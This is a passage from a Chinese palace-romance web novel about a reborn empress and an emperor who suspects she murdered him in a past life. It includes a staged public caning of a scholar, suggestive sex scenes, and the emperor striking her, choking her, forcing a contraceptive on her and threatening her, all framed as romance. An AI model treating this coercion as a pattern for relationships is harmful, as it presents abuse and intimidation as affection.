“皇后不喜欢看烟火么?”皇帝轻声问道。 诶?郁稚心头一紧,她这样毫无理由地驳回,确实会引起皇帝怀疑。 皇帝:“不会是怕宫中燃放烟火烧了宫殿吧?”男人眼神逼紧,一字一句清晰地问她。 郁稚淡淡一笑,“不是,是因为江南洪涝正厉害,中秋宫宴不宜办得太过隆重,九百两银子的烟火也就看个趣罢了,一响就散了,臣妾觉得倒不如省下银子来治灾。” 还好她记性好,记得上一世的夏日里头江南洪涝!郁稚侥幸。 皇帝:“这江南灾情的奏疏今日才送上来,皇后就已经知晓了?” 嗯?难道她露馅了?不,不可能,这消息已经送来皇城有几日了! 郁稚睁着清纯无辜的眼睛,“连宫女太监都知道江南灾情的事,臣妾身为皇后怎么可能不知道?” 确实,御书房这几个御前宫人是知道的,因为昨日有大臣来商议治水之事。这种事并非皇家秘辛,宫人之间必定传得很快。 皇帝只是随口诈她,到底没有成功。 皇帝:“体恤百姓,倒是有些皇后样子了。” 郁稚心头微微松了口气,还好还好,蒙混过关了,皇帝实在心机深沉,她必须要更加小心! 好疲惫啊,如履薄冰,他不知又在何处设了陷阱,等着她往下跳。 “怎么了?刚处理几项宫务就累了?”皇帝意味不明地问她。 这你来我往的较量,郁稚忽觉得自己太过滴水不漏,反而引得皇帝怀疑,“累了,陛下替臣妾处理?” “胡闹!不是你自己要接过这担子的么?”萧歧知道她这贪吃贪玩的性子,就没有个安生的时候。 “可臣妾真的头疼,陛下容臣妾去内室午睡片刻吧?” “去吧,休息半个时辰,横竖这么多宫务,朕是不会帮你的,到时候内务府来催,丢的可是你这皇后的名声。” 郁稚揉了揉眼睛从御座边起身,“那臣妾去休息了” 皇帝瞧着她纤柔背影,她就是个十七岁心思单纯的少女,不是上一世那个女人。 等她真去内室,皇帝将她处理的宫务一项一项翻开看,字迹还算端正,思路也很清晰,三言两语就将事情交代清楚。 不愧是受他教道,萧歧心底生出些为人师的骄傲,这一世至少没有将她教得太差。 半个时辰过去,她还没起榻,萧歧亲自去内室,一掀开帘子他就恼了,她没有在午睡而是正捧着一本话本子看得眉飞色舞的。 抬眸瞧见是他,立即扔了话本子,“唔,臣妾马上出去。” 御书房里有他没收的话本子,她不知何时从书架上偷了一本! 萧歧恼火,在视线范围内随意找了样物件。郁稚一瞧,竟是上一回那根藤条,真要命!!他也不言语,冷着一张脸,抬手就打她。 郁稚在宽绰床榻上四处躲闪,“怎么一言不合就打人!!” 郁稚:“暴君!!” 她是知道怎么气人的,萧歧已经能体会那些养育了败家子的父亲是什么心情!! 郁稚无处可逃了,她双膝一曲跪到床榻上,捂着脸颊,“你要打就打吧,就是别打脸。” 藤条结实,男人收了力气用藤条拍在她小臂上。 “好疼!!陛下真的打啊!!”郁稚耍无赖倒在榻上,“臣妾的手断了,肯定断了!!处理不了宫务了!!” 皇帝扔开藤条,将人从榻上揪起来,少女硬是挤出几滴眼泪来,“真的很疼!” 哪有这么柔弱!萧歧面色铁青,这样胡搅蛮缠、作天作地无赖一般的少女,怎么可能是那不可一世的妖后! “真的伤了,可能断了,陛下不信自己看!” “若是没断,看朕怎么罚你!” 皇帝解开她的衣襟,手臂雪白凝脂,连泛青都没有。郁稚借机将人抱住,那哭脸转而笑得得意,仰头轻轻啄吻在他刀削般的下颚。 “一道午憩吧?臣妾给你扇扇子。” 萧歧对她恼火,但处理了一上午的政务到底是有些疲乏了,她闹腾这一出,他更疲乏,少女年纪小,似有用不完的精力。 两人躺在一处休息,说好的扇扇子午憩,她半个身子靠在在他胸膛,温软的唇瓣来亲他。 “我们有多久没亲近了?”她目光晶莹可爱,近在咫尺地问他,手来解他的衣袍。 他们已经许多日没有亲近了。那点子念想经她随意一撩拨,蓬勃生长。 眼前的她真的很灵动很可爱,很难不让人心动。上一世的郁稚起初也是这模样的。 “以后想看话本子,可以看,但是别说谎。”皇帝消气了。 她得寸进尺跨坐在他怀里。 少女温软可爱,萧歧只知道郁后是不会这样心甘情愿亲近他的,所以她肯定不是。揽过她的腰肢,轻轻吻她。 郁稚摘下金钗步摇,一头青丝倾泻披散肩身,羊脂白玉,清纯妖娆,夏日午后美得让人炫目。 然后她的指尖不自觉地去摩挲了一下手腕。 这细微的动作入了男人的眼。或许上一世的郁后自己也没留意到,她会习惯性地去摩挲手腕上那道弓弦留下的疤痕! 幔帐之后,两人无声地接吻,实在是太多日没亲近了,皆吻得急切。 第59章 第 59 章 各怀鬼胎 广袖素袍之下, 男人体魄雄健,腰腹间肌理随着呼吸而起伏。 郁稚轻轻啄吻,只懊悔自己从前眼瞎,竟然会嫌弃他凶悍粗鲁, 简直暴殄天物! 她沉迷于主宰, 夏季午后炎热, 皇帝纵容着她, 脖颈后仰,闭起眼眸, 大掌轻轻抚过她绸缎般乌发, 绕了几圈缠在指尖。 从某种角度来看,她其实与上一世的妖后一般,喜欢凌驾于他之上。 如此温柔的亲密持续到日头落下 “不论你今日说什么,我都不处理宫务了!”幔帐之后传来虚幻的娇嗔声音。 皇帝无奈看着她趴在榻上。午间还精力十足如初生幼虎,这会儿耍无赖了。 郁稚:“都怪你,谁叫你进内室的?我原本打算看会儿话本子就去处理宫务!” 竟然还强词夺理, 然而指尖还残存着她的体温,终究舍不得训斥她。 于是皇帝替这个无赖处理了那一大堆宫务, 她没有半分前世的模样, 不过是个十七岁心性未定的少女, 所以也不必试探了。 萧歧此时甚至更希望她是郁后, 如此一来,这满案牍的政务与宫务都可以丢给她! 待男人离开内室,郁稚从枕头里仰起头,隔着薄薄一层幔帐,皇帝随意披了件袍子坐在御案前阅览,神情认真、鼻梁高挺。 真迷人呐也很好骗自己表现得如此废物, 这下他彻底打消疑虑了吧? 然而李檀却是个隐患。 郁稚夜里回未央宫,李檀已经等她多时了。 李檀道:“娘娘怪臣妾没有将纯儿送来未央宫,今日臣妾亲自挑选了几个聪明伶俐的送来。不知皇后满意么?” 上一世郁稚身边有许多得力的宫女,可李檀送来的这一批之中竟全是陌生面孔。 李檀在试探她,若她此时拒绝,且自己去挑宫女,那就露馅了。 郁稚:“贵妃挑的本宫自然满意。” “辛苦贵妃了,宫女们都退下吧,本宫有话与贵妃说。”郁稚抬一抬手,寝宫宫女无不从命,包括李檀的贴身宫女。 李檀微微诧异,皇后此时从容的神态,竟与前世有几分相似,眸光倨傲,叫人心生敬畏。 等人都退下,郁稚开门见山,“贵妃为何要杀纯儿?” 李檀震惊,脊背一阵恶寒,上一世郁后阴险狡诈,手段高明,她其实是怕的。但时移世易,皇后该怕的是她!! 李檀反问,“皇后这样在意那个叫纯儿的宫女,就不怕在陛下面前露馅么?” 哪怕面前这个人是真的郁后,也不敢暴露! “本宫与你之间,谁该应该害怕呢?”郁稚四两拨千斤地反问。 这个瞬间李檀面色惨白,皇后这是、这是、 李檀:“皇后娘娘不怕臣妾去禀告皇帝,你就是前世的妖后?!”她不能完全肯定,只是试探、只是试探、 “可以,贵妃现在就告诉皇帝真相,那本宫就同他说,告密救他之人是我,而你杀纯儿冒领功劳,如何?” 郁稚端庄地立在李檀面前,没有任何伪装,她甚至没有着凤袍,而是顶着一张青涩纯真的脸,身着少女宫裙,眼神无辜而清澈。 郁后!!是她!郁后回来了!!李檀再三告知自己要沉着淡定,可是浑身不住地颤抖,上一世的郁后可是只手遮天的存在!! 少女语调跳跃,“那一封告密信,换你今世贵妃之尊,一世荣华,你该对本宫感恩戴德才是,怎么还恩将仇报了?” 李檀张了张口,喉咙之中发不出任何声音。 郁后郁后!!天下女子所仰望的存在!! 此时外头宫人禀告陛下来未央宫了,郁稚命人打开殿门相迎,李檀仍怔怔站在原处。 “贵妃怎么在这儿?”皇帝随口问了句。 郁稚笑道:“贵妃有事禀告,陛下耐心听听吧。” 李檀浑身冰冷,连看皇后的勇气都没有了。妖后顶着一张清纯的脸,皇帝怎么可能信自己呢!! 皇帝目光定在她身上,“贵妃要同朕说什么?” 李檀立即行礼,“没、没什么、臣妾告退!” 郁稚瞧着那个落荒而逃的身影,“贵妃今日好奇怪,来未央宫同臣妾说了好些莫名其妙的话。” 皇帝自行褪了外袍,身形一怔,“她同皇后说什么了?” 郁稚:“骂臣妾妖后。” “放肆!”男人神情愈加冷峻,“她还说什么?” “说她救过陛下,说若我继续与她争斗,那陛下只会为她撑腰。”少女睁着一双无辜的眼眸好奇询问,“贵妃她何时救过陛下?” 萧歧脸色极差,“旁的人说什么你就信什么,你自己有脑子么?!” “那若她来陛下面前搬弄臣妾的是非,陛下也不要相信,可好?”她伸手攥着他的衣襟,乖巧可怜。 “皇后若心里没鬼,又何必担心贵妃搬弄是非呢?”男人将她的手从胸前挪开。 萧歧也是重活一世之人,她在他面前装傻不会完全消除他的疑虑。郁稚原本打算见戚离一面,无论如何都要说服他离开皇城,哪怕用皇后的权力绑也要绑走。 如履薄冰,她决定按兵不动,眼下能做的就是尽心伺候他,或许到时候他会饶她一条小命。 男人看她的目光富含深意,郁稚不敢多想,或许他早已经心知肚明,不不,上一世的萧歧是个光明磊落之人,心思并没有那么深。 哎,若他这一世也那么好糊弄该多好…… “一路行来热不热?臣妾今晨命人用冰镇了瓜果,最是解暑。”郁稚吩咐芍药去取来,“陛下下午还替臣妾处理了宫务。” 她亲自伺候他用瓜果。 男人扯了扯唇角,很受用地在椅榻坐下,“科举在即,你吩咐下去,命内务府预备中秋宫宴时也将这一届的进士们算进去。” 戚离 郁稚用竹签取挑一块西瓜,同时左手不自觉地去抚手上的伤疤,待她回过神,皇帝正饶有兴致地望着她。 郁稚下意识地挪开左手,她怎么犯了老毛病了,这一世手上没有疤! 郁稚:“宫宴那会进士们还未授官,也未着官服,怕是不合宫规礼数。” 萧歧似笑非笑,如逗猫似的,“你连宫务都懒得处理,竟还会想到这一层。” 郁稚:“” “不是要给伺候朕吃瓜果么?”男人眼神示意,她手中竹签上的那块西瓜。 郁稚立即奉上,香甜的瓜果汁水在齿间四溢,男人眉宇间透着愉悦,“贵妃告诉朕说,皇后与从前不同。确实不同。” 她跪坐在榻上,心脏怦怦直跳,她可以吓唬李檀,但是在这个男人面前终究是心虚的。 “臣妾哪里不同了?”郁稚如临大敌。 “从前赫赫扬扬,同朕吵闹是常有的事,如今似水温柔。” 他话中有话,在说上一世的她?郁稚感觉自己在节节败退,哪怕已经再谨慎,终究会在他面前露馅。 郁稚不敢辩驳了,亲手剥了一颗葡萄送入他口中,皇帝侧了侧头没吃,“从前连夜里都不让朕进未央宫,如今白日在御书房都敢勾朕、” 郁稚伸手捂住了男人的嘴,皇帝也不恼,眸若星辰就这么仰靠在椅榻上望着她。 “朕方才来时饮了些酒,吓着皇后了?”他声音温柔,同时挪开她软绵手掌,灼热的唇瓣印在她手心,郁稚简直要疯了! 他身上果然有酒气! 她后悔了,她记起前世那日,就该向他坦白,如今真是骑虎难下。 “臣妾去花厅看看,晚膳备好了么、” “不急、”他攥过她的手腕拉回椅榻,迫使她跪好,来之前确实饮了酒,死过一回的人,偶尔发发酒疯也是可以的吧? “白日里尽兴没有?” 男人胸膛贴上少女雪白脊背。 郁稚终于察觉到皇帝在发酒疯,那他这些话可有真心的?还是说她草木皆兵了,就这出神的间隙,男人粗粝手掌已经撩过她的裙摆。 “那个人究竟哪里好?你那样器重他?!”他附在她耳侧轻声呢喃。 他在说戚离么?郁稚思绪紊乱,男人铁臂横揽在她腰上。 太屈辱了,她不得不伏在椅榻软垫,“陛下醉了,臣妾亲手去煮一碗醒酒汤可好?” “皇后就是朕的醒酒汤!”他齿尖摩挲她的耳坠。 不论他是否酒后真言,郁稚可以肯定皇帝憎恶戚离,或许中秋宫宴上会当场杖杀!或许连她都难逃一死 也罢,她罪有应得! 殿外,芍药禀告了两回说花厅的晚膳已经备好,均没有回应,宫人们便不敢再打扰。 直至深夜,郁稚陷在椅榻软绵靠枕之中,静待气息平复,椅榻上明明铺着最软绵最细腻的锦缎,少女支着一双玉腿,雪白膝上泛着红,磕出伤痕点点血丝。 “朕醉得厉害,伤了皇后。”皇帝清醒了,语气有赔罪的意思。 郁稚哪分得清他真醉假醉!狗男人重生以后心思深着呢! 皇帝躬身腰来抱她去浴殿,少女伸足踢开他,“陛下尽兴就好!别说伤了臣妾,哪怕陛下要臣妾性命,臣妾也得赔给你!” 挨了这一下,男人连头发丝都是舒爽的,眉宇间泛着笑,真有意思啊,他的皇后! 第60章 第 60 章 萧歧知道了! 皇城今夏异常炎热漫长, 郁稚整日被皇帝拘在御书房读书写字、处理宫务。 又逢科举,皇宫守卫森严,她两次派人出宫去见戚离,皆被拦在宫门口。可转念一想, 若皇帝真意图杀他, 又何必留到现在?横竖戚离能高中, 中秋宫宴上她总能见到他, 到时候再见机行事。 李檀倒是安分不少,宫里宫外难得风平浪静。 这段时日萧歧温柔耐心地教她功课, 时近中秋, 萧歧正好教完论语,郁稚在御书房练字。 萧歧:“后日的宫宴备得如何了?”他随口问她。 郁稚:“宴会的食材已经送入御膳房,各类桌椅器皿也已经准备妥当,歌舞也皆安排好了。” 萧歧:“酒也都备好了?” 郁稚:“备了陛下喜欢的清酒、屠苏酒与松叶酒。” 萧歧抬眸看她一眼,“再备一些桑果酒,皇后不是喜欢么?” “臣妾不爱饮酒。”郁稚轻而易举地反击, 她二十多岁时才渐渐开始饮酒,皇帝这话就是为试探她。 这段时日萧歧对她很好, 可他从未停止试探, 甚至席榻间意乱情迷时, 他仍试探。 “还是备一些吧。”皇帝仍坚持, “朕想尝桑果酒了。” 郁稚正练字,笔尖一颤,皇帝笑道,“不会写了?过来,朕教你。” 萧歧是天底下最好的夫子,短短一年间已经教会她四书, 她的字近日也颇有进益。他将她揽到怀里,手掌包裹住她的,一笔一划耐心教她。 “等中秋宴过后,随朕一道去行宫秋猎如何?”他的话温柔似耳语,她的耳垂直发烫。 郁稚点了点头,两人有着不堪的从前,但在行宫的记忆总是很美妙的,“那臣妾也想狩猎,要单独骑一匹马。” “行啊,行宫马厩里有一匹马毛色雪白,性格温顺,最适合你。朕再命人替你制一把衬手的弓?” 郁稚:“马好看没用,得跑得快,陛下别糊弄我,我要大宛的马!” 萧歧:“当然是大宛的马,你当朕是这么小气的人?藏着好马不给你?” 萧歧:“但前提是中秋宫宴得办得漂亮。皇后,可别叫朕失望。” 郁稚疑惑,萧歧向来都不是在意宫宴之人,他为何如此重视这次的中秋宴? 郁稚:“陛下放心,臣妾必定将宫宴办得圆满。” 男人目光若有所思,笑着道,“皇后长大了,与从前判若两人了。” 萧歧箍紧她腰肢,“记得朕刚回宫时,你那样胆小怕人,软弱可欺,朕看着你就生气。现在能独当一面置办宫宴,读书明理了,连字也写得这样好。你说,朕是不是将你教得很好?” 瞿氏不死,她永远懦弱可欺,不可否认,他确实将她教得很好,甚至比起上一世那个满腔仇恨的郁稚,她更喜欢现在的自己。 然而萧歧不同了,他阴晴不定,心机深沉,郁稚猜不透他的心思。这段时日,他更是夜夜求欢,郁稚总结原因,自己上一世将他拒之门外的缘故。因为对他有愧,如今无有不应的。 *** 中秋宫宴那夜,郁稚命皇宫禁军仔细防火,尤其是东宫那两座空置的宫殿,上一世烧了怪可惜的,各项事宜都安排得很妥帖。 大殿之中一片祥和,皇室宗亲们夸赞今夜的酒水醇香,特别是那桑果酒,酸甜解渴,最是上品。 这是她重生以来头一回办宫宴,郁稚希望能办得妥妥帖帖,好尽一尽皇后的责任。 李檀今日着那件烟紫色凤袍,郁稚也没有计较,她打扮得并不富丽,着了件浅金色的锦袍,倒是意外与皇帝的龙袍很配。 王公大臣、内外命妇们远远瞧着皇后,私下说话。 “皇后娘娘举手投足间皆是端雅仪态,与从前大相径庭。” “皇后年轻,成婚未多久陛下就出征了,这一年间陛下留在皇宫,帝后二人相处久了,皇后自然也进益了。” “这宫宴就是皇后操办的,这酒与膳食,真的是很合心意。” “倒是贵妃,怎么能着凤袍呢?这不是公然顶撞皇后么?” “小声些,喝酒喝酒。” “听闻今年的进士也要来宴上,在何处呢?” “那几位没着官服的恐怕就是了。” 郁稚在人群中寻找戚离的身影,没有找到,可进士名单上明明有他啊,他没有来么?还是说一进宫就被皇帝扣押了? “皇后将中秋宴办得很好。”皇帝的声音将她目光拉扯回来,他亲自给她倒酒,桑果酒入喉酸甜微辛,是她最喜爱的味道。 宴会下半场,臣子们前来拜见,道一些中秋吉祥话,最后是今年科考的的进士们,前几日才发榜,今日他们头一回面圣,显得有些拘谨。 人都到齐了,但没有戚离,郁稚稍稍放心,侧眸看向皇帝。 “学生戚离拜见陛下。”但见一少年身着素袍,伏地磕头。 “你就是戚离,祖籍江南,才名远扬。朕看过你的文章。”萧歧眼神凛冽起来。 这一届科考由礼部全权决裁,萧歧并没有阅卷,可如今皇帝却说看过他的文章,这位名叫戚离的少年显然惊愕。 原来只是同名同姓,郁稚彻底放心,皇帝绝对不会为难他。 萧歧饶有兴致地问,“就是你在外斥朕穷兵黩武,嗜战昏庸?” 少年面色苍白,“禀告陛下,学生确实说了。” “那你觉得朕驻守边疆,讨伐蛮族是错?”萧歧追问。 殿中渐渐安静,前些年陛下远在边疆,儒生之中难免议论皇帝嗜战,不理朝政反而常年在外征战。儒生们敢这样高谈阔论,一是因为天高皇帝远,无人管束他们,二是显得自己为民殚精竭虑。 戚离:“学生觉得您身为皇帝,理应坐稳朝堂,行军打仗之事该另择将军、” 这少年看着年纪轻轻,文章写得好,但不代表他真能明白朝政。 萧歧从前不会与这样的人计较,可他今日怎么、 萧歧:“暴君?你可曾这样称呼过朕?” 既然皇帝敢这样笃定,那他必定有十足的证据,满朝文武皆为这少年捏一把汗,好不容易考中进士,却说过这样荒唐的话,皇帝这是要杀鸡儆猴? 确实该治一治这群口无遮拦的儒生了,皇帝在外行军打仗,回朝坐稳朝堂,哪里容得下这些整日闭门读书的书呆子诋毁! 少年似是吓傻了,众人从他惊愕的表情中不难看出,他一定在想:不止他一人说过,怎么偏偏皇帝针对自己呢? “学生、学生骂过的!”戚离道。 “那你如今日见了朕,会收回这句话么?”萧歧问他。 宴上所有人皆提心吊胆,戚离当然要收回这句话,皇帝对他还是仁慈的!只要他求个饶,这事就算过去了! 少年忽起了反骨,“若陛下肯从此端坐朝堂,勤于朝政,学生不会再骂。若陛下将来仍远征边疆,穷兵黩武,陛下在学生心中永远都是暴君!” 郁稚的心骤然收紧,这个戚离简直是个蠢货!! 不止郁稚这么想,宴上其他人也是这么想的,糟了,这个少年今夜必死无疑!! 萧歧笑了,“你很有骨气。但辱骂朕是死罪,来人,当庭杖毙!!” 当庭杖毙?郁稚惊愕得无以复加,上一世萧歧担着暴君之名,可这一世他有心治理朝政,这一年来颇有功绩,若今日在朝堂上杖毙戚离,那他的名声就毁了,天下儒生必定会唾弃他。 而且为何偏偏是戚离,难道他以为这个戚离就是上一世她器重的戚离么? 不是的!不是戚离! “皇后想说什么?”她担忧惊恐的神情全落入男人眼中。 宴上众臣,无一人敢为这个戚离求情,皇帝要杀鸡儆猴,此时若谁敢求情,谁就会被拖下水!! 当堂杖毙,侍卫门毫不留情,一杖下去那少年发出一声惨叫,两杖下去,口中鲜血喷涌而出,三杖下去,惨叫声更加凄厉!! 少年恐怕挨不过十多记脊杖!! 郁稚心急如焚,萧歧不可以就这么杖毙他,不可以的,她的手不自觉地落在他手背,眼神焦灼地望向他。 萧歧唇角含笑,游刃有余,反而拍拍她手,“皇后不要怕。” 第六记脊杖! 第七记脊杖!! 不是他,不是戚离,萧歧弄错了,那个受刑的人不是他憎恶的戚离!! 停下,停下来,别打了郁稚被逼得走投无路了,纯儿已经死了,若因为上一世的仇恨,今世再害死一个无辜的人,她会愧疚而死的!! “朕说杖毙,你们是没有力气么?”萧歧冷声斥道。 行刑的侍卫立即加重力道!! 戚离快死了这个少年至死都不会知道自己真正的死因 “他不是” 她微弱的声音被少年凄厉惨叫与宴上的嘈杂声掩盖了。 “萧歧,他不是的戚离!别杀他!” 她的声音准确无误地传入了男人耳中,萧歧忽得抬手,“停下,将他带下去。” 关键时候,皇帝饶了这个少年一条命,宴上众人皆松了一口气。 康老王爷忽得高呼道,“陛下仁慈,这等不忠不义、颠倒是非之人,就该处死!” “是,他敢冒犯陛下,陛下还饶他一命,陛下仁慈啊!!” 宫宴继续,那一滩血迹擦拭而去,不留下一丁点痕迹,歌舞声起,众人又开始饮酒品乐,好不快活,这一段微不足道的小插曲被轻易抛诸脑后。 觥筹交错间,男人的眼神落在了她身上,似笑非笑,游刃有余。 一瞬间郁稚浑身冰冷,怎么那么凑巧,那个人名字也叫戚离,皇帝偏偏为何要在宫宴上发作,他、他、这是一场戏!! 他在试探她!! 而从萧歧的眼神中,她可以肯定,他知道了 他知道了!! 她的心恍若落入一片冰海,不住地往下落 萧歧抬手取过酒壶,将案上两盏空杯都斟满桑果酒。 桑果酒。 这个画面与上一世重叠了,上一世北疆战事复起,那也正是两人吵得昏天黑地的时候,他前来辞行,未央宫一片狼藉,桌上放置着她最爱的桑果酒,他斟了两杯酒,一杯给她,一杯给自己,他一口饮尽,说所有事情等他从边疆回来再说。 而她呢,她被他软禁未央宫,她恨他恨得无以复加,抬手挥开了那杯酒。 他身着铠甲,一言不发地离开,那是上一世两人最后一次的分别,也是最后的见面。 而此时此刻,那杯桑果酒又完好无损出现在她面前。 “喝吧,上一次,你就没有喝。” 郁稚如坠冰窖,浑身冰封,连话都不会说了,甚至连抬眸看他一眼的勇气都没有了,她在他面前无所遁形,她要逃走,从这萧歧身边,从这座皇宫逃走!! 她从座位上起身,从大殿侧门仓促离开,不应该说是逃亡! 萧歧知道了!! 60-70 第61章 第 61 章 妖后就是妖后 今夜中秋宫宴, 皇宫四处禁军巡逻,只有一道宫门是敞开的,她要逃走难如登天! 回未央宫,将门锁起来! 这逃避的心态促使她沿着长廊往未央宫去, 脚步仓促, 裙摆飞扬, 连凤钗掉了都无暇去捡起, 萧歧知道了,他一定知道了!! 身后有脚步声, 她不敢往回看, 只知有人在追她郁稚觉得自己好蠢!竟掉入了皇帝设的陷阱! --中秋宫宴,别叫朕失望 原来他从来意有所指! 宫女:“皇后娘娘回来了?可要奴婢去煮醒酒汤、” 小宫女见皇后狼狈回来,钻入寝宫合上了门,下一瞬间皇帝的身影从她眼前略过。宫女们好奇宫宴上,出什么事了么? 郁稚还未来得及锁门,殿门被人从外推开, 萧歧就这么强势地闯入未央宫。 “皇后回来了?”他的语调如鬼魅,眼神幽幽地落在她身上, 手里还攥着她掉落的那支凤钗, 反手合上宫门。 他如同地狱归来的冤魂, 来索命了!! “萧歧”她步步后退, 眼神藏着无限的愧疚与哀求,“我” 她想说她错了,她很后悔,她很愧疚,然而喉咙哑了,心脏乱跳, 一个字都说不出来。 “宫宴不好么?怎么回得这么早?”萧歧笑问,步步紧逼,逼得她一直一直往后退。 “臣妾、臣妾、”她哑口无言,他不打算戳穿么?明明都已经知道了,他浑身充斥着杀意,她从他的眼神、他的头发丝、他的神态、语气看出来,他知道他眼前的这个人,就是上一世弑夫杀君的妖后!! “也罢,说到底这座皇宫里就只有你我二人,中秋之夜,本就不该叫外人进宫同欢,你我团圆就够了,不是么?” 他一字一句出自牙缝,化作锋利的刀,在她的心口划上一道又一道。 “皇后,你我,终于团圆了。” 男人目光跳跃兴奋,郁稚在他面前无处遁形,那样深层的恐惧,源于上一世她对他所犯下的滔天罪行!! 团圆 “陛下、唔、” 男人虎口扼住她的喉咙,逼迫她张口。同时身子不受控制地往后坠落,脊背狠狠砸在椅榻。 “萧歧我错了上一世、唔、”男人的唇齿占据她所有思绪! 他会怎么复仇呢?将她吊死城楼?或是凌迟处死?或是 几百道酷刑浮现她脑海,她不求生,他只求他给她一个体面的死法,叫她不要经历太过痛苦折磨,郁稚不住地颤抖,她望向他的眼神盘桓着深深的恐惧。 “皇后错在哪里了?宫宴不是办得很好么?朕很满意!那壶桑果酒,历久经年,更加香醇美妙!!” 他不戳穿,尽管那熠熠眸光已经道明一切!不戳穿,那她的心就只能反复煎熬,任由他掌控了! 满身怨气的鬼魂从战场归来,呈现不可抵挡之势! “萧歧,我错了,我愧疚,我真的、真的对你很愧疚”她泪水一直落,重复呢喃着这句话。 “皇后做错了何事?朕不知道。朕只知道中秋宴办得很好,该奖励皇后才是!”奖励二字在男人齿间加重,他扶着她的腰肢,掌心更握紧几分! 从发丝到眉宇间,皆是不可抑制的嗜血兴奋,那浓浓的杀意,更是蓬勃生长! 郁稚感觉自己要死了,就要被他杀死了! 情到深处,她掌心抵在他胸膛,肌理之后那颗复仇之心熊熊燃烧,几乎灼伤她的手! 她问心有愧,无法承受他两世的滔天怒火,只为复仇而来! *** “陛下他怎么、他昨夜吃醉酒了么?” 浴殿里郁稚伏在池壁,芍药伺候她沐浴。皇后凝脂雪白的肌肤,如今、芍药心疼至极,“一会儿奴婢去御药房取药。” 郁稚如今不轻易命人伺候沐浴,可她实在是没了力气。 “芍药我害怕”少女含泪呢喃道,萧歧不拆穿,那就意味着他要折磨她至死。 “皇后沐浴这么久?” 肃然声音在浴殿门口响起,郁稚回首发现皇帝竟没有离开未央宫。中秋宴后,今日没有朝会。 “你出去吧,朕来伺候皇后沐浴。”男人一袭黑袍窄袖,显得人凛冽冷漠。 芍药不自禁地打了个寒蝉,今日的皇帝与从前不同,但她又说不明白哪里不同,可就是比从前更叫人心生畏惧。 郁稚:“别、不用劳烦陛下,还是芍药、” 萧歧:“不出去么?” 芍药不等皇后说话,行了一礼战战兢兢离开浴殿。 少女望向男人的目光充斥着恐惧,“臣妾已经沐浴完毕、陛下、” “头发还未洗净,朕侍候皇后、”他挽起袖子,动作轻柔替她洗发,他触碰到她的瞬间,郁稚毛骨悚然,自己要这样赤着身子被扼死在池子里了么?那她死得太不体面了! 他慢条斯理,直至池中的水凉透了,郁稚才被允许步出浴池,腿颤得几乎站不住,死亡的恐惧深深地盘踞在她心中,恍若有人用弓箭瞄准她的心口,不知何时就会释力放矢。 而萧歧,正是张弓之人! 他替她擦身擦发,擦干小腿上的水珠,仍是这样慢、这样轻柔、好比凌迟处死,最后替她穿衣,将她打扮成他满意的模样才牵过她的手离开浴殿。 萧歧已经吩咐宫人摆好早膳,对于未央宫的宫女来说,今日只是如从前一般稀松平常的清晨,没有人知道皇后,天底下最尊贵的女人,她的心此时正被架在火上炙烤。 满桌的膳食,每一样都是她喜爱的,所以哪一样都可能有毒! “皇后怎么坐得离朕这么远?过来,朕伺候皇后用膳。”皇帝接过宫女递来的甜羹。小宫女抿唇微笑,帝后的感情其实很好,皇帝经常会伺候皇后用膳。 甜羹里有毒!郁稚可以肯定。 少女身着一袭水蓝色素纱裙裳坐在膳桌前,乌黑发丝披散肩身,一双美目含泪,清纯绝美。 男人送了一勺甜羹到她唇边。 郁稚抿了抿唇,“臣妾今日不想喝甜羹、” “避子药,你敢不喝?”男人用只有两人能听到的声音威胁道。 她张口饮下,一口接着一口,每一口都仿佛在吞刀子。 “朕已经吩咐人收拾行李,用完早膳就出发。” “什么出发?”少女快被他欺负哭了。 “当然是去行宫了,你我不是说好的么?等中秋宫宴结束就去行宫快活几日。”萧歧笑着提醒她。 他们这样的情况,还能去行宫么?他要把她弄死在行宫?还是带她去别的什么地方?荒郊野岭?乱葬岗? 郁稚起身去内室,“不,臣妾不去,宫务繁重臣妾很忙,臣妾不愿意去!” 萧歧跟过来,掌心如镣铐扣住她的手臂,“不肯去?那朕当着外头那些宫女的面绑你去可好?”他神情冷淡,附在她耳边威胁道! “我不”她眼神绝望而哀求。 男人将她按坐在梳妆镜前,“朕替你绾发。” “不必劳烦陛下、” 他的指尖穿梭入她的发丝,“劳烦朕?一开始,不是皇后撒娇要朕替你绾发的么?你忘记了?” 那个时候她没有记起前世,她肆无忌惮地向他撒娇,可是如今不同了。 梳妆台前珠宝首饰琳琅满目,每一次他取过一个金钗步摇,她都屏住呼吸,眸光怔怔地盯着镜中,每一样珠宝到了他指间,都可以轻易划开她的喉咙!! 最后镜中的少女绝美而高贵,她的发髻发饰与上一世一般无二!! 下午,龙辇停在未央宫前,郁稚几乎是被皇帝扣着手臂挟持上车的。 李檀正好来未央宫,见到这副情形,“陛下与皇后要出宫去么?” 皇帝垂眸瞧她,只这一个眼神,李檀就屏住了呼吸,皇帝他怎么了?他的眼神与从前不同了,明明还是他,可就是叫人愈加敬畏,甚至是恐惧、 “朕与皇后要去行宫小住,贵妃待在自己寝宫,别有任何行差踏错!” 李檀立即应下,心中钟鼓齐鸣! 龙辇缓缓驶离皇宫,郁稚与皇帝比肩而坐,她感觉每一口的呼吸都在要她的命。 “怎么不说话?皇后不是很喜欢行宫么?”男人的手轻轻覆在少女手背。 郁稚闭了闭眼眸,屈膝跪在地上,仰望他哀求道,“陛下,给臣妾一个痛快吧”她果决地取下发簪,塞入他手心。 死亡的恐惧一直一直折磨着她,她想解脱,她要把这条命还给他赎罪! 皇帝垂眸看着手中的发簪,唇角浮现淡淡笑意,侧了侧手掌任由簪子滑落手心。 指尖去触她柔软的唇,“这样绝美的皮囊,若是死了,倒也可惜。” 皇帝这话的意思,是他可以饶她不死?郁稚揪住那一丁点儿希望,仰头继续凝望着男人。 她的眼神清澈而无辜,就是这样的眼神,上一世将他欺骗得彻底。 她启唇轻含他的指尖,她想活的,但凡有一丝存活的希望,她都会不计一切代价牢牢抓住!! 少女得寸进尺地起身凑近,恍若幼兽取悦主人,眸光专注而深情,“臣妾怎么做,陛下才能饶恕臣妾?” 男人唇角含笑,不动如山。 妖后就是妖后,骨子里就是坏的,他教得再用心,她也难改本性,但是接下来行宫这段时日,应该会很有趣。 “朕也不知,皇后试试?” 第62章 第 62 章 戒断她 郁稚竭尽所能讨好萧歧, 唇瓣轻轻落在男人刀削般下颚、胸膛、 男人的腰腹随着气息微微起伏,他仰首靠在车墙壁,闭起眼眸享受着上一世从未享受过的侍候,唇角笑意荡漾开来。 她跪在他面前, 屈膝俯首, 原来高傲如她是可以向他低头的! 她的发丝是软的, 唇瓣比发丝更温软、 